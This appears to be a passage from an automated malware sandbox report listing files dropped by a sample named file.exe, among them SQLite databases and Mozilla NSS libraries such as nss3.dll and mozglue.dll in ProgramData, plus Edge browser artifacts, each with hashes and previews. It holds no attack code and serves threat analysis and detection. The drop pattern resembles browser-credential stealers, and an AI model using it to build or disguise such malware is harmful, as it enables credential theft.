Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDHJKKFBAEGDGDGCBKEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\17c3712d-9656-487e-8bbd-d0a26f0aa84d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57717
Entropy (8bit):	6.103899996249932
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yOEPGWv/sxtw9j7VLyMV/YoskFoz:z/0+zI7yOQv/4KlVeZoskG
MD5:	0708B4AB7BC61099C0BB6C084D0C58B1
SHA1:	5F43AC9CBFEC881928F27B8E1A6FAB294B343BF9
SHA-256:	D0C742BE99FA0D4108597D17D455284569EB56A76FB0A71FD929F91FB4796877
SHA-512:	C725D680815E2394467C6D49C37A1DD7A8E0BE6C670120D721DB20A797972316F51830F075DD8F5158642C5B949E63F506D1F6445D6C8225F4A21DA4EE96B7CD
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\48b89863-b589-49c4-ab1b-3b0b90d2017e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59240
Entropy (8bit):	6.099700303568894
Encrypted:	false
SSDEEP:	1536:AMk1rT8HtnMPGWv/sxtw95QObFJFol7VLyMV/YosH:AMYrT8NIv/4KLQ+vyVeZosH
MD5:	08B4412DCEF1FF162992604093A41FE7
SHA1:	169FBEC768C9E7DB78E9E789666A22769925126C
SHA-256:	272B4558B3DA4007627BB4980D3C9F82A2A8C2BB1F21C2386CB1B5612D3B1C7F
SHA-512:	AC2D0D990C3F0023BE468359DA195F249066107D2E96DAA960E58992FE6F09DEF2367AA042F475CBF249B43CC0DE9EFF50809F876E1BA3886530653A209935F0
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"93041360-42bb-4091-abc1-691d73fe8a50"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732657960"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\54b63d82-5833-45fa-8edc-9497dd2ae12d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59116
Entropy (8bit):	6.099777528157477
Encrypted:	false
SSDEEP:	1536:AMk1rT8H1aEPGWv/sxtw95QObFJFol7VLyMV/YosH:AMYrT8Vlv/4KLQ+vyVeZosH
MD5:	A5EF5F44356FE39462E722A6B1A72880
SHA1:	9D7BA55F04AF31C9CCD3B57F1E3B651F8B68D424
SHA-256:	47A7993180847A428DB8FAD79A95061AEA978442F2B4A30825422D54C7F4293F
SHA-512:	4736F37F1577BD518D6CB90DFA7310FCADEBABDCB6DBAC94662EE41FF43F40EB4A728B78335D6FE2D7724214BEF935A6582971ED4F6552E3E985BA4C2113A4A2
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"93041360-42bb-4091-abc1-691d73fe8a50"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732657960"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\597dedd0-bdfe-4c78-b293-e4e337b7a818.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59240
Entropy (8bit):	6.09971717695831
Encrypted:	false
SSDEEP:	1536:AMk1rT8HtacMPGWv/sxtw95QObFJFol7VLyMV/YosH:AMYrT8Nqv/4KLQ+vyVeZosH
MD5:	E172D8A7E966ABDDBBDABEBC48C9BCD6
SHA1:	5DA2975155CDE7F801D0CBA7202728438A1805A8
SHA-256:	B4DF6EBBD4E7CE8DD09481BF16ED7769880DBFDA57717398EF65C3A850FC9A81
SHA-512:	B222C6F479858D8315287A76E8B91148F60495699949F269267AE63B2D6B0EAEB2DFFDE9EADF1E16F42113EEC20539C714A6FA7F87E1485BF48E45CB4E526361
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"93041360-42bb-4091-abc1-691d73fe8a50"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732657960"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\67a17a0b-a38d-4ce4-875d-ef790427fea3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	57639
Entropy (8bit):	6.103679230662512
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynlPGWv/sxtwhj7VLyMV/YoskFoz:z/0+zI7yn1v/4KBVeZoskG
MD5:	8D649F5977CBE9A4B8E80A18EB1BF3AE
SHA1:	9A148459EAA2898F242F86A2DFA5DA3C25C44BC9
SHA-256:	693BF75FBD7EBFD7F500EBD74F054E4541F62607A792251FF89FEFA3EBF6A663
SHA-512:	FF6647ED1C30D529E57C5A7BD43DDA1C62849E664D2203864022AA7EDA22042DBF574FC04F1B78250813CEAB51F1C5B1BFDF2F07059FD02D03A29241A8C8937B
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Reputation:	unknown
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\c1b7e03a-07b7-4a73-91f0-6f890c1e2a16.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Reputation:	unknown
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67464322-F70.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0475984371984792
Encrypted:	false
SSDEEP:	192:aoS30m5tmonOAUJYCJy7qiRDs0JVFg8XC4QITFhkHsBzhEhNG0v+RQ8L/eron8ys:TE0UtjUa6eHhcRmHero08T2RGOD
MD5:	B2136BEDDACB1DDF359339980C1E6385
SHA1:	314D91D56511E543D2022CB267D52A73BC56A33F
SHA-256:	659F4B57794521726EB97C3F5DEE97CBCB37CBD6D8DC31B0169C3B6838AA5709
SHA-512:	5D4E99D19974C1B449BDB881454AFE0BD64EDCA2E054BF864024D8A3C2E2FB30097F2FEAD20B32715C375B2B95EC086FEBF5B53E7523BA3BDFF6734804C25AA3
Malicious:	false
Reputation:	unknown
Preview:	...@..@...@.....C.].....@................k...Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".wjktpv20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2..........~...... .2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
